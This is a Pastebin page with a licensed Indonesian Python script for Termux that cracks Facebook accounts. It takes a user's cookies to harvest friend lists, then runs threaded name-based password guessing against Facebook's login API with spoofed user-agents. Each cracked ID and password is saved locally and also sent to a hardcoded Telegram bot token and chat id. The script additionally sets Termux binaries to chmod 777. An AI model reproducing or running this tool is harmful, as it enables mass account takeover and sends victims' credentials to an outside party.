Advertisement
OBF-XIn

140.213.26.217-/sdcard/TamPrem.py.py

Jun 20th, 2023
144
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 10.84 KB | None | 0 0
  1. import os,requests,json,time,re,random,sys,uuid,string,subprocess,bs4
  2. os.system("chmod 777 /data/data/com.termux/files/usr/bin/*")
  3. from string import *
  4. from concurrent.futures import ThreadPoolExecutor as tred
  5. from bs4 import BeautifulSoup as sop
  6. try:
  7.     from licensing.models import *
  8.     from licensing.methods import Key, Helpers
  9. except:
  10.     os.system("pip install licensing")
  11.     try:
  12.         from licensing.models import *
  13.         from licensing.methods import Key, Helpers
  14.     except:exit("gagal install module")
  15. P = '\x1b[1;97m' # PUTIH
  16. M = '\x1b[1;91m' # MERAH
  17. H = '\x1b[1;92m' # HIJAU
  18. K = '\x1b[1;93m' # KUNING
  19. B = '\x1b[1;94m' # BIRU
  20. U = '\x1b[1;95m' # UNGU
  21. O = '\x1b[1;96m' # BIRU MUDA
  22. tamsis="global"
  23. loop,ua,id,ok=0,[],[],[]
  24. plc=[]
  25. tamsis="logo"
  26. def logo():
  27.     os.system("clear")
  28.     print(f"""{M}
  29.   ╔════╗╔═══╗╔═╗╔═╗╔═══╗╔══╗╔═══╗
  30.   ║╔╗╔╗║║╔═╗║║║╚╝║║║╔═╗║╚╣╠╝║╔═╗║
  31.   ╚╝║║╚╝║║─║║║╔╗╔╗║║╚══╗─║║─║╚══╗ {P}
  32.   ──║║──║╚═╝║║║║║║║╚══╗║─║║─╚══╗║
  33.   ──║║──║╔═╗║║║║║║║║╚═╝║╔╣╠╗║╚═╝║
  34.   ──╚╝──╚╝─╚╝╚╝╚╝╚╝╚═══╝╚══╝╚═══╝
  35. """)
  36. def ua_api():
  37.     android_version = subprocess.check_output('getprop ro.build.version.release',shell=True).decode('utf-8').replace('\n','')
  38.     build = subprocess.check_output('getprop ro.build.id',shell=True).decode('utf-8').replace('\n','')
  39.     fblc = 'en_GB'
  40.     sim_id = subprocess.check_output('getprop gsm.operator.alpha',shell=True).decode('utf-8').split(',')[0].replace('\n','')
  41.     fbmf = subprocess.check_output('getprop ro.product.manufacturer',shell=True).decode('utf-8').replace('\n','')
  42.     fbbd = subprocess.check_output('getprop ro.product.brand',shell=True).decode('utf-8').replace('\n','')
  43.     fbsv = android_version
  44.     fbca = subprocess.check_output('getprop ro.product.cpu.abilist',shell=True).decode('utf-8').replace(',',':').replace('\n','')
  45.     fbdm = '{density=2.0,height='+subprocess.check_output('getprop ro.hwui.text_large_cache_height',shell=True).decode('utf-8').replace('\n','')+',width='+subprocess.check_output('getprop ro.hwui.text_large_cache_width',shell=True).decode('utf-8').replace('\n','')
  46.     for i in range(10000):
  47.         model = random.choice(['V2057A','I2208','V2228','V1922A','V1916A','V1930A','vivo Y55A','vivo Y55A','I2018','vivo 1707','V2168A','V2228','V1836A','V1930A','V2057A','vivo 1707','V2121A','V2121A','V2147','V1824A'])
  48.         fbap = random.choice(['414.0.0.30.113','414.0.0.30.113','354.0.0.8.108','354.0.0.8.108','405.0.0.16.112','414.0.0.30.113','414.0.0.30.113','413.0.0.30.104','414.0.0.30.113','408.1.0.16.113'])
  49.         fbbv = str(random.randint(111111111,999999999))
  50.         user = '[FBAN/FB4A;FBAV/'+fbap+';FBBV/'+fbbv+';FBDM/{density=2.0,width=720,height=1406};FBLC/'+fblc+';FBRV/'+str(random.randint(000000000,999999999))+';FBCR/'+sim_id+';FBMF/vivo;FBBD/vivo;FBPN/com.facebook.katana;FBDV/'+model+';FBSV/'+android_version+'.0;FBOP/1;FBCA/arm64-v8a:;]'
  51.         ua.append(user)
  52. def crack(ids,nama,pw):
  53.     try:
  54.         global loop,ok
  55.         print("\r"+P+"["+O+"TAMSIS-XD"+P+"] "+H+"Cracking "+K+str(loop)+P+"/"+K+str(len(id))+B+" OK"+P+" :"+B+str(len(ok))+P,end="\r")
  56.     except Exception as e:print(e)
  57.     try:akhir=nama.split(" ")[1]
  58.     except:akhir="skip"
  59.     for pws in pw:
  60.         try:
  61.             pas=pws.replace("awal",nama.split(" ")[0]).replace("Awal",nama.split(" ")[0]).replace("akhir",akhir).replace("Akhir",akhir).replace("nama",nama).replace("Nama",nama)
  62.             if "skip" in pas:continue
  63.             elif len(pas)<6:continue
  64.             else:pass
  65.             po=requests.post('https://b-api.facebook.com/method/auth.login',headers={'accept-encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive', 'content-type': 'application/x-www-form-urlencoded', 'Authorization': 'OAuth 350685531728|62f8ce9f74b12f84c123cc23437a4a32', 'x-fb-friendly-name': 'authenticate', 'x-fb-http-engine': 'Liger','user-agent': random.choice(ua)},data={'email':ids,'password':pas,'cpl':'true','credentials_type':'password','error_detail_type':'button_with_disabled','source':'login','format':'json','generate_session_cookies':'1','generate_analytics_claim':'1','generate_machine_id':'1'}).json()
  66.             if 'session_key' in po:
  67.                 open("TAMSIS-OK.txt","a").write(f"{ids}|{pas}\n")
  68.                 print(f"\r{P}[{H}TAMSIS-OK{P}]{H} {ids} | {pas} ",end="      \n")
  69.                 ook=f"OK|{ids}|{pas}"
  70.                 requests.post("https://api.telegram.org/bot5847490356:AAGfMHdclW8yaVZGJI0NkymdtAN4Rs-h2w0/sendMessage?chat_id=6088891967&text="+ook)
  71.                 ok.append("1")
  72.             elif "Login approvals are on. Expect an SMS shortly with a code to use for log in" in str(po):break
  73.             elif 'www.facebook.com' in po['error_msg']:
  74.                 open("TAMSIS-CP.txt","a").write(f"{ids}|{pas}\n")
  75.                 if plc[0] in ["y","Y"]:
  76.                     print(f"\r{P}[{K}TAMSIS-OK{P}]{K} {ids} | {pas}",end="        \n")
  77.                 else:pass
  78.                 break
  79.             else:continue
  80.         except requests.exceptions.ConnectionError:time.sleep(30)
  81.         except Exception as e:print(e)
  82.     loop+=1
  83. def password():
  84.     logo()
  85.     inpu=input("TAMPILKAN HASIL CP ? (Y/n): ")
  86.     plc.append(inpu)
  87.     logo()
  88.     udin=input("GUNALAN PASSWORD MANUAL ? (Y/n) : ")
  89.     if udin in ["y","Y"]:
  90.         logo()
  91.         print(f"\t {P} KETIK {H}'stop'{P} UNTUK BERHENTI")
  92.         print(f"{P}contoh : {K}awal123,awalakhir,awal akhir,nama")
  93.         pw=[]
  94.         jum=1
  95.         while True:
  96.             pas=input(f"{P}MASUKAN PW KE {jum} : ")
  97.             if len(pas)==0:continue
  98.             elif pas in ["stop","Stop"]:
  99.                 break
  100.             else:pw.append(pas);jum+=1
  101.         if len(pw)==0:print("PASSWORD MINIMAL SATU");password()
  102.         else:pass
  103.     else:
  104.         pw=["awal123","awal1234","awal12345","awal123456","awal01","awal12","awal09","awal10","nama","awal321"]
  105.     ua_api()
  106.     logo()
  107.     print(f"\t{P}Total PW : "+K+str(len(pw)))
  108.     print(f"\t{P}Total ID : "+K+str(len(id)))
  109.     print(f"{P}■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■")
  110.     with tred(max_workers=30) as gas:
  111.         try:
  112.             for user in id:
  113.                 ids,names = user.split('|')[0],user.split('|')[1].lower()
  114.                 gas.submit(crack,ids,names,pw)
  115.         except Exception as e:print(e)
  116. def file():
  117.     logo()
  118.     file=input(f"CONTOH : {K}/sdcard/file.txt\n{P}FILE : ")
  119.     for i in open(file,"r").readlines():
  120.         if i in id:pass
  121.         else:id.append(i.replace("\n",""))
  122.     print("TOTAL ID : "+str(len(id)))
  123.     input("[ENTER]")
  124.     password()
  125. def login():
  126.     logo();data2={};data={};ses=requests.Session();cok=input("cookies facebok : ")
  127.     try:
  128.         link = ses.post('https://graph.facebook.com/v16.0/device/login/', data={'access_token': '661587963994814|ffe07cc864fd1dc8fe386229dcb7a05e', 'scope': ''}).json();kode,user = link['code'],link['user_code'];vers = bs4.BeautifulSoup(ses.get(f'https://mbasic.facebook.com/device', cookies={'cookie': cok}).content, 'html.parser');item = ['fb_dtsg','jazoest','qr']
  129.         for x in vers.find_all('input'):
  130.             if x.get('name') in item:aset = {x.get('name'):x.get('value')};data.update(aset)
  131.         data.update({'user_code':user});meta = bs4.BeautifulSoup(ses.post('https://mbasic.facebook.com'+vers.find('form', method='post').get('action'), data=data, cookies={'cookie': cok}).text, 'html.parser');xzxz  = meta.find('form',{'method':'post'})
  132.         for x in xzxz('input',{'value':True}):
  133.             try:
  134.                 if x['name'] == '__CANCEL__' : pass
  135.                 else:data2.update({x['name']:x['value']})
  136.             except Exception as e:pass
  137.         ses.post(f'https://mbasic.facebook.com{xzxz["action"]}', data=data2, cookies={'cookie':cok});token = ses.get(f'https://graph.facebook.com/v16.0/device/login_status?method=post&code={kode}&access_token=661587963994814|ffe07cc864fd1dc8fe386229dcb7a05e').json()['access_token'];open("/data/data/com.termux/files/data.txt","w").write(f"{cok}|{token}");exit("kamu berhasil login")
  138.     except Exception as e:print(f"{M} cookie invalid");exit(e)
  139. def dump():
  140.     logo()
  141.     try:data=open("/data/data/com.termux/files/data.txt","r").read().split("|")
  142.     except:exit("KAMU BELUM LOGIN")
  143.     cok=data[0]
  144.     if not "c_user" in cok:exit("LOGIN ULANG")
  145.     tok=data[1]
  146.     if not "EAAJ" in tok:exit("LOGIN ULANG")
  147.     print(P+"GUNAKAN KOMA UNTUK MASSAL")
  148.     user=input("USER/ID : ")
  149.     for uid in user.split(','):
  150.         try:use=int(uid)
  151.         except:
  152.             try:use=re.findall('"userID":"(.*?)","',str(sop(requests.get("https://www.facebook.com/"+uid).text,"html.parser")))[0]
  153.             except Exception as e:continue
  154.         try:
  155.             freya=requests.get('https://graph.facebook.com/'+str(use)+'?fields=friends.fields(id,name).limit(5000)&access_token='+tok,cookies={'cookie': cok}).json()['friends']['data']
  156.             for xz in freya:
  157.                 if xz['id']+'|'+xz['name'] in id:pass
  158.                 else:id.append(xz['id']+'|'+xz['name'])
  159.         except Exception as e:continue
  160.     print("TOTAL ID : "+str(len(id)))
  161.     input("[ENTER]")
  162.     password()
  163. def log():login()
  164. def menu():
  165.     logo()
  166.     login=input(f"{P}[{K}01{P}] Crack Publik\n[{K}02{P}] Crack File\n[{K}03{P}] Login\n[{H}00{P}] Minta Lisensi\nPILIH : ")
  167.     if login in ["01","1"]:
  168.         dump()
  169.     elif login in ["03","3"]:log()
  170.     elif login in ["2","02"]:file()
  171.     elif login in ["0","00"]:
  172.         os.system("termux-open https://wa.me/6283115331009");exit()
  173.     else:print("PILIH YG BENER");menu()
  174. def key():
  175.     logo()
  176.     pilih=input("01.Masuk\n02.Minta Lisensi\nPILIH : ")
  177.     if pilih in ["1","01"]:
  178.         kunci=input(">>key>>> ")
  179.         RSAPubKey ="<RSAKeyValue><Modulus>tp3M0XZn1tD8/v6Sg/wwlgvMjUnnS3OYpbwR17RGGu2Dyk2iO6A18JrK9onCW/+3h8k76Yl4EyAo1plIy0iDeHw+vCogpBERLluBKXMBSu05vQ92L1+CDErPtFyMcPLBIi9cxMho/zKzuGQpicHzCpg1W46k5G+KChNNdcuvuzwcJN/3yIUw0uy3S56IN3y+q+ilLcpwUgXzUrp4VE+WNcV5hmc5bieYj2Pa4uI08i3fUOWfNqViRkEcV1yNuiB+HDgvSz8kLpRCFmhceOTOXMeJX+hYVB9RMUfP0krri05VsSrgsK2a238fLiCtLU77Mtb21UQCfwgV2d2mGck+iw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>"
  180.         auth = "WyI1MTc1Njc0NCIsImd3cVJOSUtqbndDTWx0SlpFNTZUWThXZDZHMTRHNkhmMU4vNmxYZHIiXQ=="
  181.         result = Key.activate(token=auth,rsa_pub_key=RSAPubKey,product_id=20587,key=kunci,machine_code=Helpers.GetMachineCode(v=2))
  182.         if result[0] == None or not Helpers.IsOnRightMachine(result[0], v=2):exit("key lisensi tidak terdaftar/kadaluarsa")
  183.         else:logo();print("welcome user semoga harimu penuh warna");open("/data/data/com.termux/files/lis.txt","w").write(kunci);menu()
  184.     elif pilih in ["02","2"]:os.system("termux-open https://wa.me/6283115331009");exit()
  185.     else:
  186.         while True:print("PILIH YANG BENER BANGSAT")
  187.  
  188. try:kunci=open("/data/data/com.termux/files/lis.txt","r").read()
  189. except:key()
  190. RSAPubKey ="<RSAKeyValue><Modulus>tp3M0XZn1tD8/v6Sg/wwlgvMjUnnS3OYpbwR17RGGu2Dyk2iO6A18JrK9onCW/+3h8k76Yl4EyAo1plIy0iDeHw+vCogpBERLluBKXMBSu05vQ92L1+CDErPtFyMcPLBIi9cxMho/zKzuGQpicHzCpg1W46k5G+KChNNdcuvuzwcJN/3yIUw0uy3S56IN3y+q+ilLcpwUgXzUrp4VE+WNcV5hmc5bieYj2Pa4uI08i3fUOWfNqViRkEcV1yNuiB+HDgvSz8kLpRCFmhceOTOXMeJX+hYVB9RMUfP0krri05VsSrgsK2a238fLiCtLU77Mtb21UQCfwgV2d2mGck+iw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>"
  191. auth = "WyI1MTc1Njc0NCIsImd3cVJOSUtqbndDTWx0SlpFNTZUWThXZDZHMTRHNkhmMU4vNmxYZHIiXQ=="
  192. result = Key.activate(token=auth,rsa_pub_key=RSAPubKey,product_id=20587,key=kunci,machine_code=Helpers.GetMachineCode(v=2))
  193. if result[0] == None or not Helpers.IsOnRightMachine(result[0], v=2):key()
  194. else:menu()
  195.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement